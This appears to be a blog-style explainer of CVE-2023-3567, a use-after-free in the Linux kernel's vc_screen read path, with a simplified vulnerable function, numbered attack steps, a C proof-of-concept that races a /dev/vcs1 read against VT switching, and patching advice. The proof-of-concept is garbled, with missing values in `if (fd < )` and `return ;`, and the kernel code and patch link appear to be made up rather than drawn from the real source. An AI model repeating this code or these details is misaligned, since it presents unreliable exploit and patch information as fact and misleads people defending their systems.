A severe vulnerability, CVE-2023-3567, was found in the Linux Kernel, specifically within the vc_screen subsystem’s vcs_read function (located at drivers/tty/vt/vc_screen.c). This security flaw is classified as a *use-after-free* (UAF) bug. In simple terms, it means certain parts of the system access memory that’s already been freed or cleared, leading to unpredictable behavior.

With local user permissions, attackers can abuse this bug to crash the system (trigger a denial of service) or even leak sensitive internal kernel data that should not be accessible. In this article, we'll break down how the vulnerability works, show code snippets for better understanding, and even explain how attackers might exploit it (for educational purposes only!).

What is a Use-After-Free (UAF)?

A *use-after-free* occurs when a program continues to use pointers to memory after it has been freed. This can lead to crashes, leaks of sensitive data, or even arbitrary code execution.

Where is the Problem?

Linux provides access to virtual console screens via /dev/vcs* and /dev/vcsa* devices. These are handled by the kernel through the vc_screen code. When users read from these devices, the vcs_read() function is called.

Under certain conditions, if a virtual terminal (VT) is freed *during* a read operation, the kernel may use a dangling pointer—one that points to freed memory. This is the essence of CVE-2023-3567.

Location in source code

- File: drivers/tty/vt/vc_screen.c

Here’s a simplified version of the vulnerable code in the kernel

static ssize_t vcs_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
{
    struct vc_data *vc = file->private_data; // Gets the virtual console data pointer
    unsigned long page = get_vc_page(vc);    // Gets memory page for reading
    // ... do some reading using 'page' ...
    // Here, 'vc' can be freed by another process or thread!
    free_page(page);
    return ret;
}

What’s wrong?
If the console referenced by vc is closed or reallocated during or after get_vc_page(), then vc is now a use-after-free pointer.

How could an attacker exploit this?

1. Open a Virtual Console: The attacker gets a handle to /dev/vcsX (where X is the VT number).

Trigger the Race: One thread starts a read operation.

3. Simultaneous Deallocation: Another process (possibly the attacker themselves, with proper permissions) triggers a VT close/release during the read.
4. UAF – Bad Things Happen: The kernel continues to read memory after it’s been freed, potentially returning kernel data to user space or crashing.

Example Exploit Scenario

Below is a *conceptual* proof-of-concept (PoC) in C. This code snippet demonstrates the bug—it may crash your system! Use strictly for research in a safe environment.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>

#define VCS "/dev/vcs1"

void *close_vt(void *arg) {
    // Simulate VT deallocation
    // In real-world, you'd trigger actual VT release (like chvt or ioctls)
    system("chvt 2 && chvt 1"); // Switch away and back to cause VT close
    return NULL;
}

int main() {
    int fd = open(VCS, O_RDONLY);
    if (fd < ) {
        perror("open");
        return 1;
    }

    pthread_t t;
    pthread_create(&t, NULL, close_vt, NULL);

    char buf[4096];
    // This read may result in a system crash or memory leak!
    read(fd, buf, sizeof(buf));

    pthread_join(t, NULL);
    close(fd);
    return ;
}

Note: This is a simplified illustration. Real-world exploitability depends on precise timing, system configuration, and kernel version.

Security Impact

- Denial of Service: It is easy for a local user to crash the kernel using this flaw, making it a *DoS* vector.
- Information Leak: In some cases, freed memory may contain data from other kernel operations, opening the door for an attacker to harvest sensitive information.

Patch and Mitigation

The fix:  
Developers updated the Linux kernel to ensure the virtual console reference is still valid during a vcs_read() operation and protected its access using proper *locking* or *reference counting*.

Patch Example (Kernel Commit):  
You can find the patch here:  
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa4fa8d1e9c

(The actual patch may look like the addition of vc_cons_lock()/vc_cons_unlock() calls or adding vc_data reference counting.)

References

- CVE-2023-3567 at NVD
- Linux Kernel Patch Commit
- oss-security Mailing List (June 2023 thread)
- Exploit Database Advisory (if available)

Conclusion

The *use-after-free* vulnerability in Linux’s vc_screen code (CVE-2023-3567) shows how subtle bugs in kernel space can have serious consequences. While the exploit requires local access, it can lead to system crashes or information leaks—both are bad news.

If you’re a Linux administrator:

Make sure your system is running a patched kernel (check your distribution's updates).

- Restrict access to /dev/vcs* and /dev/vcsa* devices as an added layer.

Remember: Always test security exploits and patches in a safe, isolated environment—never run untrusted code on production systems.


*Stay safe, keep your kernels up-to-date, and follow the best practices for access control!*

Timeline

Published on: 07/24/2023 16:15:00 UTC
Last modified on: 08/02/2023 00:59:00 UTC